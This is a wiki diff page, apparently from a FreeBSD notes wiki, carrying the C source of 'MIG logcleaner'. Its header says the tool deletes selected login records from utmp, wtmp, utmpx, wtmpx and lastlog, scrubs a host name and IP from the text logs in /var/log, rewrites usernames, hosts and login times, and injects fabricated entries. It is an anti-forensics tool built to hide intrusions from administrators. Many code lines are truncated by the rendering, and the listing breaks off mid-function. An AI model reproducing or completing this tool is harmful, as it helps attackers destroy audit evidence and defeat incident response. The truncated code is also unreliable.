差異處
這裏顯示兩個版本的差異處。
下次修改 | 前次修改 | ||
freebsd:mig-logcleaner [2010/09/20 05:54] – 建立 jal | freebsd:mig-logcleaner [2010/09/20 05:56] (目前版本) – jal | ||
---|---|---|---|
行 1: | 行 1: | ||
+ | ====== MIG logcleaner ====== | ||
+ | |||
+ | MIG logcleaner by no1 (greyhats.za.net) | ||
+ | --------------------------------------- | ||
+ | |||
+ | This log cleaner removes logs from utmp, wtmp, utmpx, wtmpx, lastlog files. | ||
+ | Also removes 2 specified text strings out of every file in a specified directory. | ||
+ | Also lets you modify entries as you wish. | ||
+ | Also lets you add new entries. | ||
+ | |||
+ | |||
+ | ===== code ===== | ||
<code c> | <code c> | ||
+ | |||
+ | / | ||
+ | name : | ||
+ | |||
+ | version | ||
+ | 1.0 - first version | ||
+ | 1.1 - fixed up old bugs and added utmpx/wtmpx support | ||
+ | 1.2 - fixed " | ||
+ | 1.3 - wasn't working on sun. fixed (fscking mess!!!) | ||
+ | 1.4 - changed shell scripting part | ||
+ | 1.5 - rewrote all thing to support BSD | ||
+ | also added ' | ||
+ | hostname entries in logs | ||
+ | 1.6 - added username replacement capability | ||
+ | 1.7 - added login/out time changing capability | ||
+ | 1.8 - added capability of injecting entries into wtmp/x file | ||
+ | 2.0 - recoded all this from 0 and fixed lots of fuckups | ||
+ | |||
+ | creation date : | ||
+ | |||
+ | last updated | ||
+ | |||
+ | author | ||
+ | |||
+ | description | ||
+ | utmp, utmpx, lastlog | ||
+ | and all log files in /var/log type dir | ||
+ | tested on linux(x86), sun(sparc) and bsd(x86) | ||
+ | |||
+ | usage : | ||
+ | details in readme.mig | ||
+ | |||
+ | extra : | ||
+ | cleaners out there... | ||
+ | coded this is because i needed a cleaner that | ||
+ | lets you specify which record specificaly you | ||
+ | want to be removed. donno any log cleaner that | ||
+ | does that... plus this tool automaticaly | ||
+ | removes strings like <host name> and <ip> | ||
+ | out of non-binary files in /var/log type | ||
+ | of dirs where all logs are kept. | ||
+ | an now it also supports changing usernames & hostnames | ||
+ | in records or even adding new records. | ||
+ | if you have any comments or ideas, | ||
+ | mail me at no1@greyhats.za.net or msg me at | ||
+ | http:// | ||
+ | ****************/ | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #ifdef LINUX | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #define UTMP UTMP_FILE | ||
+ | #define WTMP WTMP_FILE | ||
+ | #define LASTLOG _PATH_LASTLOG | ||
+ | #endif | ||
+ | #ifdef SUN | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #include < | ||
+ | #define UTMP UTMP_FILE | ||
+ | #define WTMP WTMP_FILE | ||
+ | #define LASTLOG "/ | ||
+ | #define UTMPX UTMPX_FILE | ||
+ | #define WTMPX WTMPX_FILE | ||
+ | #endif | ||
+ | #ifdef BSD | ||
+ | #include < | ||
+ | #define UTMP _PATH_UTMP | ||
+ | #define WTMP _PATH_WTMP | ||
+ | #define LASTLOG _PATH_LASTLOG | ||
+ | #endif | ||
+ | int usage(char *arg); | ||
+ | int count_records(char *u, int a, int d); | ||
+ | int utmp_clean(char *u, int n, int tota, int d); | ||
+ | int utmpx_clean(char *u, int n, int tota, int d); | ||
+ | int lastlog_clean(char *u, int d, char *h, char *t, long i, int n); | ||
+ | int replase(char *u, int n, int tota1, int tota2, char *U, char *H, long I, long O, int d); | ||
+ | int addd(char *u, int n, int tota1, int tota2, char *U, char *T, char *H, long I, long O, int d); | ||
+ | int txt_clean(char *D, char *a, char *b, int d); | ||
+ | static char | ||
+ | static char | ||
+ | static char | ||
+ | int c = 1, l = 0; | ||
+ | int main(int argc, char **argv) | ||
+ | { | ||
+ | char opt; | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | long | ||
+ | long | ||
+ | int replace = 0; | ||
+ | int add = 0; | ||
+ | int record = (-1); | ||
+ | int total1 = 0; | ||
+ | int total2 = 0; | ||
+ | int debug = 0; | ||
+ | int user_check = 0; | ||
+ | int dir_check = 0; | ||
+ | int new_check = 0; | ||
+ | int open_check1 = 0; | ||
+ | #ifdef SUN | ||
+ | int open_check2 = 0; | ||
+ | #endif | ||
+ | int flag = 0; | ||
+ | bzero(user, sizeof(user)); | ||
+ | bzero(dir, sizeof(dir)); | ||
+ | bzero(string1, | ||
+ | bzero(string2, | ||
+ | bzero(new_user, | ||
+ | bzero(new_tty, | ||
+ | bzero(new_host, | ||
+ | bzero(ll_h, sizeof(ll_h)); | ||
+ | bzero(ll_i, sizeof(ll_i)); | ||
+ | bzero(ll_t, sizeof(ll_t)); | ||
+ | #ifdef SUN | ||
+ | strcpy(dir, "/ | ||
+ | #endif | ||
+ | #ifndef SUN | ||
+ | strcpy(dir, "/ | ||
+ | #endif | ||
+ | while((opt = getopt(argc, | ||
+ | { | ||
+ | switch (opt) | ||
+ | { | ||
+ | case ' | ||
+ | { | ||
+ | strcpy(user, | ||
+ | user_check++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | record = atoi(optarg); | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | bzero(dir, sizeof(dir)); | ||
+ | strcpy(dir, | ||
+ | dir_check++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | strcpy(string1, | ||
+ | flag++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | strcpy(string2, | ||
+ | flag++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | strcpy(new_user, | ||
+ | new_check++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | strcpy(new_tty, | ||
+ | new_check++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | strcpy(new_host, | ||
+ | new_check++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | new_login = atol(optarg); | ||
+ | new_check++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | new_logout = atol(optarg); | ||
+ | new_check++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | replace++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | add++; | ||
+ | break; | ||
+ | } | ||
+ | case ' | ||
+ | { | ||
+ | debug++; | ||
+ | break; | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | if((user_check == 0 && add == 0 && dir_check == 0 && flag == 0) || (replace == 1 && add == 1) || (add == 1 && new_check != 5) || (replace == 1 && user_check == 0) || (replace == 1 && new_check == 0) | ||
+ | || (replace == 1 && record == 0) || (dir_check == 1 && flag == 0)) | ||
+ | { | ||
+ | usage(argv[0]); | ||
+ | exit(0); | ||
+ | } | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | if(record == (-1)) | ||
+ | { | ||
+ | record = 1; | ||
+ | } | ||
+ | if(user[0] != 0) | ||
+ | total1 = count_records(user, | ||
+ | if(total1 == (-1)) | ||
+ | { | ||
+ | if(debug == 1) | ||
+ | fprintf(stderr, | ||
+ | open_check1++; | ||
+ | } | ||
+ | if(open_check1 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total1)) | ||
+ | { | ||
+ | utmp_clean(user, | ||
+ | } | ||
+ | #ifdef SUN | ||
+ | if(user[0] != 0) | ||
+ | total2 = count_records(user, | ||
+ | if(total2 == (-1)) | ||
+ | { | ||
+ | if(debug == 1) | ||
+ | fprintf(stderr, | ||
+ | open_check2++; | ||
+ | } | ||
+ | if(open_check2 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total2)) | ||
+ | { | ||
+ | utmpx_clean(user, | ||
+ | } | ||
+ | #endif | ||
+ | if(replace == 1 && (record <= total1) | ||
+ | #ifdef SUN | ||
+ | && | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | if(l == 1) | ||
+ | { | ||
+ | strcpy(ll_h, | ||
+ | strcpy(ll_i, | ||
+ | strcpy(ll_t, | ||
+ | } | ||
+ | replase(user, | ||
+ | } | ||
+ | if(add == 1) | ||
+ | { | ||
+ | if(user[0] != 0 && (record > total1) | ||
+ | #ifdef SUN | ||
+ | && | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | usage(argv[0]); | ||
+ | exit(0); | ||
+ | } | ||
+ | addd(user, record, total1, total2, new_user, new_tty, new_host, new_login, new_logout, debug); | ||
+ | } | ||
+ | if((record == 1 || record == 0) && add == 0) | ||
+ | { | ||
+ | if(l == 1) | ||
+ | { | ||
+ | strcpy(ll_h, | ||
+ | strcpy(ll_i, | ||
+ | strcpy(ll_t, | ||
+ | } | ||
+ | lastlog_clean(user, | ||
+ | } | ||
+ | if(flag != 0) | ||
+ | { | ||
+ | txt_clean(dir, | ||
+ | } | ||
+ | printf(" | ||
+ | return (0); | ||
+ | } | ||
+ | int count_records(char *u, int a, int d) | ||
+ | { | ||
+ | int fd; | ||
+ | int counter = 0; | ||
+ | #ifdef SUN | ||
+ | if(a == 2) | ||
+ | { | ||
+ | struct utmpx | ||
+ | if((fd = open(WTMPX, O_RDWR)) == -1) | ||
+ | { | ||
+ | return (-1); | ||
+ | } | ||
+ | while(read(fd, | ||
+ | { | ||
+ | if(!strcmp(utmpx_record.ut_name, | ||
+ | { | ||
+ | if(utmpx_record.ut_type != 8) | ||
+ | { | ||
+ | counter++; | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | fprintf(stdout, | ||
+ | } | ||
+ | #endif | ||
+ | if(a == 1) | ||
+ | { | ||
+ | struct utmp utmp_record; | ||
+ | if((fd = open(WTMP, O_RDWR)) == -1) | ||
+ | { | ||
+ | return (-1); | ||
+ | } | ||
+ | while(read(fd, | ||
+ | { | ||
+ | if(!strcmp(utmp_record.ut_name, | ||
+ | { | ||
+ | #ifndef BSD | ||
+ | if(utmp_record.ut_type != 8) | ||
+ | #endif | ||
+ | counter++; | ||
+ | } | ||
+ | } | ||
+ | fprintf(stdout, | ||
+ | } | ||
+ | close(fd); | ||
+ | return counter; | ||
+ | } | ||
+ | int utmp_clean(char *u, int n, int tota, int d) | ||
+ | { | ||
+ | struct utmp utmp_record; | ||
+ | struct utmp wtmp_record; | ||
+ | int fd1, fd2; | ||
+ | int counter = 0; | ||
+ | #ifndef BSD | ||
+ | int pid; | ||
+ | #endif | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | #ifdef BSD | ||
+ | long time; | ||
+ | #endif | ||
+ | bzero(line, sizeof(line)); | ||
+ | bzero(host, sizeof(host)); | ||
+ | bzero(command, | ||
+ | if((fd1 = open(WTMP, O_RDWR)) == -1) | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | lseek(fd1, 0, SEEK_SET); | ||
+ | lseek(fd2, 0, SEEK_SET); | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if((!strcmp(wtmp_record.ut_name, | ||
+ | #ifndef BSD | ||
+ | && | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | counter++; | ||
+ | if(counter == (tota + 1 - n)) | ||
+ | { | ||
+ | if(n != 0) | ||
+ | fprintf(stdout, | ||
+ | #ifndef BSD | ||
+ | pid = wtmp_record.ut_pid; | ||
+ | strcpy(line, | ||
+ | #ifndef SUN | ||
+ | strcpy(host, | ||
+ | #endif | ||
+ | #endif | ||
+ | #ifdef BSD | ||
+ | time = wtmp_record.ut_time; | ||
+ | strcpy(line, | ||
+ | #endif | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if(counter == (tota - n)) | ||
+ | { | ||
+ | char | ||
+ | l++; | ||
+ | bzero(length, | ||
+ | #ifndef SUN | ||
+ | lastlog_tty = (char *) malloc(strlen(wtmp_record.ut_line) + 1); | ||
+ | strcpy(lastlog_tty, | ||
+ | lastlog_hostname = (char *) malloc(strlen(wtmp_record.ut_host) + 1); | ||
+ | strcpy(lastlog_hostname, | ||
+ | sprintf(length, | ||
+ | lastlog_time = (char *) malloc(strlen(length) + 1); | ||
+ | #ifdef LINUX | ||
+ | sprintf(lastlog_time, | ||
+ | #else | ||
+ | sprintf(lastlog_time, | ||
+ | #endif | ||
+ | #endif | ||
+ | |||
+ | } | ||
+ | if(n != 0) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | if(n == 0 && counter != 0) | ||
+ | fprintf(stdout, | ||
+ | counter = 0; | ||
+ | if((fd1 = open(UTMP, O_RDWR)) == -1) | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | } | ||
+ | lseek(fd1, 0, SEEK_SET); | ||
+ | lseek(fd2, 0, SEEK_SET); | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if(!strcmp(utmp_record.ut_name, | ||
+ | { | ||
+ | counter++; | ||
+ | #ifndef BSD | ||
+ | if((pid == utmp_record.ut_pid) && (!strcmp(utmp_record.ut_line, | ||
+ | #ifndef SUN | ||
+ | && (!strcmp(utmp_record.ut_host, | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | if(n != 0) | ||
+ | fprintf(stdout, | ||
+ | } | ||
+ | #endif | ||
+ | #ifdef BSD | ||
+ | if((time == utmp_record.ut_time) && (!strcmp(utmp_record.ut_line, | ||
+ | { | ||
+ | if(n != 0) | ||
+ | fprintf(stdout, | ||
+ | } | ||
+ | #endif | ||
+ | else | ||
+ | { | ||
+ | if(n != 0) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | if(n == 0 && counter != 0) | ||
+ | fprintf(stdout, | ||
+ | sprintf(command, | ||
+ | system(command); | ||
+ | return (0); | ||
+ | } | ||
+ | #ifdef SUN | ||
+ | int utmpx_clean(char *u, int n, int tota, int d) | ||
+ | { | ||
+ | struct utmpx | ||
+ | struct utmpx | ||
+ | int fd1, fd2; | ||
+ | int counter = 0; | ||
+ | int pid; | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | bzero(line, sizeof(line)); | ||
+ | bzero(host, sizeof(host)); | ||
+ | bzero(command, | ||
+ | if((fd1 = open(WTMPX, O_RDWR)) == -1) | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | lseek(fd1, 0, SEEK_SET); | ||
+ | lseek(fd2, 0, SEEK_SET); | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if((!strcmp(wtmpx_record.ut_name, | ||
+ | { | ||
+ | counter++; | ||
+ | if(counter == (tota + 1 - n)) | ||
+ | { | ||
+ | if(n != 0) | ||
+ | fprintf(stdout, | ||
+ | pid = wtmpx_record.ut_pid; | ||
+ | strcpy(line, | ||
+ | strcpy(host, | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if(counter == (tota - n)) | ||
+ | { | ||
+ | char | ||
+ | l++; | ||
+ | bzero(length, | ||
+ | lastlog_tty = (char *) malloc(strlen(wtmpx_record.ut_line) + 1); | ||
+ | strcpy(lastlog_tty, | ||
+ | lastlog_hostname = (char *) malloc(strlen(wtmpx_record.ut_host) + 1); | ||
+ | strcpy(lastlog_hostname, | ||
+ | sprintf(length, | ||
+ | lastlog_time = (char *) malloc(strlen(length) + 1); | ||
+ | sprintf(lastlog_time, | ||
+ | } | ||
+ | if(n != 0) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | if(n == 0) | ||
+ | fprintf(stdout, | ||
+ | counter = 0; | ||
+ | if((fd1 = open(UTMPX, O_RDWR)) == -1) | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | |||
+ | } | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | lseek(fd1, 0, SEEK_SET); | ||
+ | lseek(fd2, 0, SEEK_SET); | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if((!strcmp(utmpx_record.ut_name, | ||
+ | { | ||
+ | counter++; | ||
+ | if((pid == utmpx_record.ut_pid) && (!strcmp(utmpx_record.ut_line, | ||
+ | { | ||
+ | if(n != 0) | ||
+ | fprintf(stdout, | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if(n != 0) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | if(n == 0) | ||
+ | fprintf(stdout, | ||
+ | sprintf(command, | ||
+ | system(command); | ||
+ | return (0); | ||
+ | } | ||
+ | #endif | ||
+ | |||
+ | int lastlog_clean(char *u, int d, char *h, char *t, long i, int n) | ||
+ | { | ||
+ | struct passwd | ||
+ | struct lastlog | ||
+ | int fd; | ||
+ | bzero((char *) &last, sizeof(last)); | ||
+ | if((password = getpwnam(u))) | ||
+ | { | ||
+ | if((fd = open(LASTLOG, | ||
+ | { | ||
+ | lseek(fd, (long) password-> | ||
+ | // | ||
+ | if(l == 1 && n != 0) | ||
+ | { | ||
+ | memcpy(last.ll_host, | ||
+ | memcpy(last.ll_line, | ||
+ | last.ll_time = i; | ||
+ | } | ||
+ | fprintf(stdout, | ||
+ | // | ||
+ | write(fd, (char *) &last, sizeof(last)); | ||
+ | close(fd); | ||
+ | } | ||
+ | } | ||
+ | return (0); | ||
+ | } | ||
+ | int replase(char *u, int n, int tota1, int tota2, char *U, char *H, long I, long O, int d) | ||
+ | { | ||
+ | struct utmp utmp_record; | ||
+ | struct utmp wtmp_record; | ||
+ | #ifndef BSD | ||
+ | struct timeval | ||
+ | struct timeval | ||
+ | int pid; | ||
+ | #endif | ||
+ | #ifdef BSD | ||
+ | struct timespec | ||
+ | struct timespec | ||
+ | #endif | ||
+ | #ifdef SUN | ||
+ | struct utmpx | ||
+ | struct utmpx | ||
+ | #endif | ||
+ | int fd1, fd2; | ||
+ | int counter = 0; | ||
+ | int replace_check = 0; | ||
+ | char | ||
+ | char | ||
+ | char | ||
+ | #ifdef BSD | ||
+ | long time; | ||
+ | tv_start.tv_sec = I; | ||
+ | tv_start.tv_nsec = 0; | ||
+ | tv_end.tv_sec = O; | ||
+ | tv_end.tv_nsec = 0; | ||
+ | #else | ||
+ | tv_start.tv_sec = I; | ||
+ | tv_start.tv_usec = 0; | ||
+ | tv_end.tv_sec = O; | ||
+ | tv_end.tv_usec = 0; | ||
+ | #endif | ||
+ | bzero(line, sizeof(line)); | ||
+ | bzero(host, sizeof(host)); | ||
+ | bzero(command, | ||
+ | if(tota1 != (-1)) | ||
+ | { | ||
+ | if((fd1 = open(WTMP, O_RDWR)) == -1) | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | lseek(fd1, 0, SEEK_SET); | ||
+ | lseek(fd2, 0, SEEK_SET); | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if((!strcmp(wtmp_record.ut_name, | ||
+ | #ifndef BSD | ||
+ | && (wtmp_record.ut_type != 8) | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | counter++; | ||
+ | if(counter == (tota1 + 1 - n)) | ||
+ | { | ||
+ | replace_check++; | ||
+ | fprintf(stdout, | ||
+ | #ifndef BSD | ||
+ | pid = wtmp_record.ut_pid; | ||
+ | strcpy(line, | ||
+ | #ifndef SUN | ||
+ | strcpy(host, | ||
+ | #endif | ||
+ | #endif | ||
+ | #ifdef BSD | ||
+ | time = wtmp_record.ut_time; | ||
+ | strcpy(line, | ||
+ | strcpy(host, | ||
+ | #endif | ||
+ | if(U[0] != 0) | ||
+ | { | ||
+ | bzero(wtmp_record.ut_name, | ||
+ | strcpy(wtmp_record.ut_name, | ||
+ | } | ||
+ | #ifndef SUN | ||
+ | if(H[0] != 0) | ||
+ | { | ||
+ | bzero(wtmp_record.ut_host, | ||
+ | strcpy(wtmp_record.ut_host, | ||
+ | } | ||
+ | #endif | ||
+ | if(I != 0) | ||
+ | { | ||
+ | #ifdef LINUX | ||
+ | wtmp_record.ut_tv.tv_sec = tv_start.tv_sec; | ||
+ | #else | ||
+ | wtmp_record.ut_time = tv_start.tv_sec; | ||
+ | #endif | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if(counter == (tota1 - n)) | ||
+ | { | ||
+ | char | ||
+ | l++; | ||
+ | bzero(length, | ||
+ | #ifndef SUN | ||
+ | lastlog_tty = (char *) malloc(strlen(wtmp_record.ut_line) + 1); | ||
+ | strcpy(lastlog_tty, | ||
+ | lastlog_hostname = (char *) malloc(strlen(wtmp_record.ut_host) + 1); | ||
+ | strcpy(lastlog_hostname, | ||
+ | sprintf(length, | ||
+ | lastlog_time = (char *) malloc(strlen(length) + 1); | ||
+ | #ifdef LINUX | ||
+ | sprintf(lastlog_time, | ||
+ | #else | ||
+ | sprintf(lastlog_time, | ||
+ | #endif | ||
+ | #endif | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if((replace_check == 1) && (!strcmp(wtmp_record.ut_line, | ||
+ | #ifndef BSD | ||
+ | && | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | replace_check--; | ||
+ | if(O != 0) | ||
+ | { | ||
+ | #ifdef LINUX | ||
+ | wtmp_record.ut_tv.tv_sec = tv_end.tv_sec; | ||
+ | #else | ||
+ | wtmp_record.ut_time = tv_end.tv_sec; | ||
+ | #endif | ||
+ | } | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | counter = 0; | ||
+ | replace_check = 0; | ||
+ | if((fd1 = open(UTMP, O_RDWR)) == -1) | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | } | ||
+ | lseek(fd1, 0, SEEK_SET); | ||
+ | lseek(fd2, 0, SEEK_SET); | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if(!strcmp(utmp_record.ut_name, | ||
+ | { | ||
+ | counter++; | ||
+ | #ifndef BSD | ||
+ | if((pid == utmp_record.ut_pid) && | ||
+ | #else | ||
+ | if((time == utmp_record.ut_time) && | ||
+ | #endif | ||
+ | | ||
+ | #ifdef LINUX | ||
+ | && | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | replace_check++; | ||
+ | fprintf(stdout, | ||
+ | if(U[0] != 0) | ||
+ | { | ||
+ | bzero(utmp_record.ut_name, | ||
+ | strcpy(utmp_record.ut_name, | ||
+ | } | ||
+ | #ifndef SUN | ||
+ | if(H[0] != 0) | ||
+ | { | ||
+ | bzero(utmp_record.ut_host, | ||
+ | strcpy(utmp_record.ut_host, | ||
+ | } | ||
+ | #endif | ||
+ | if(I != 0) | ||
+ | { | ||
+ | #ifdef LINUX | ||
+ | utmp_record.ut_tv.tv_sec = tv_start.tv_sec; | ||
+ | #else | ||
+ | utmp_record.ut_time = tv_start.tv_sec; | ||
+ | #endif | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if((replace_check == 1) && (!strcmp(utmp_record.ut_line, | ||
+ | #ifndef BSD | ||
+ | && | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | replace_check--; | ||
+ | if(O != 0) | ||
+ | { | ||
+ | #ifdef LINUX | ||
+ | utmp_record.ut_tv.tv_sec = tv_end.tv_sec; | ||
+ | #else | ||
+ | utmp_record.ut_time = tv_end.tv_sec; | ||
+ | #endif | ||
+ | } | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | replace_check = 0; | ||
+ | sprintf(command, | ||
+ | system(command); | ||
+ | } | ||
+ | #ifdef SUN | ||
+ | l = 0; | ||
+ | if(tota2 != (-1)) | ||
+ | { | ||
+ | if((fd1 = open(WTMPX, O_RDWR)) == -1) | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | lseek(fd1, 0, SEEK_SET); | ||
+ | lseek(fd2, 0, SEEK_SET); | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if((!strcmp(wtmpx_record.ut_name, | ||
+ | { | ||
+ | counter++; | ||
+ | if(counter == (tota2 + 1 - n)) | ||
+ | { | ||
+ | replace_check++; | ||
+ | fprintf(stdout, | ||
+ | pid = wtmpx_record.ut_pid; | ||
+ | strcpy(line, | ||
+ | strcpy(host, | ||
+ | if(U[0] != 0) | ||
+ | { | ||
+ | bzero(wtmpx_record.ut_name, | ||
+ | strcpy(wtmpx_record.ut_name, | ||
+ | } | ||
+ | if(H[0] != 0) | ||
+ | { | ||
+ | bzero(wtmpx_record.ut_host, | ||
+ | strcpy(wtmpx_record.ut_host, | ||
+ | } | ||
+ | if(I != 0) | ||
+ | { | ||
+ | wtmpx_record.ut_tv.tv_sec = tv_start.tv_sec; | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if(counter == (tota2 - n)) | ||
+ | { | ||
+ | char | ||
+ | l++; | ||
+ | bzero(length, | ||
+ | lastlog_tty = (char *) malloc(strlen(wtmpx_record.ut_line) + 1); | ||
+ | strcpy(lastlog_tty, | ||
+ | lastlog_hostname = (char *) malloc(strlen(wtmpx_record.ut_host) + 1); | ||
+ | strcpy(lastlog_hostname, | ||
+ | sprintf(length, | ||
+ | lastlog_time = (char *) malloc(strlen(length) + 1); | ||
+ | sprintf(lastlog_time, | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if((replace_check == 1) && (!strcmp(wtmpx_record.ut_line, | ||
+ | { | ||
+ | replace_check--; | ||
+ | if(O != 0) | ||
+ | { | ||
+ | wtmpx_record.ut_tv.tv_sec = tv_end.tv_sec; | ||
+ | } | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | counter = 0; | ||
+ | replace_check = 0; | ||
+ | if((fd1 = open(UTMPX, O_RDWR)) == -1) | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | |||
+ | } | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | exit(-1); | ||
+ | } | ||
+ | lseek(fd1, 0, SEEK_SET); | ||
+ | lseek(fd2, 0, SEEK_SET); | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if((!strcmp(utmpx_record.ut_name, | ||
+ | { | ||
+ | counter++; | ||
+ | if((pid == utmpx_record.ut_pid) && (!strcmp(utmpx_record.ut_line, | ||
+ | { | ||
+ | replace_check++; | ||
+ | fprintf(stdout, | ||
+ | if(U[0] != 0) | ||
+ | { | ||
+ | bzero(utmpx_record.ut_name, | ||
+ | strcpy(utmpx_record.ut_name, | ||
+ | } | ||
+ | if(H[0] != 0) | ||
+ | { | ||
+ | bzero(utmpx_record.ut_host, | ||
+ | strcpy(utmpx_record.ut_host, | ||
+ | } | ||
+ | if(I != 0) | ||
+ | { | ||
+ | utmpx_record.ut_tv.tv_sec = tv_start.tv_sec; | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if(n != 0) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if((replace_check == 1) && (!strcmp(utmpx_record.ut_line, | ||
+ | { | ||
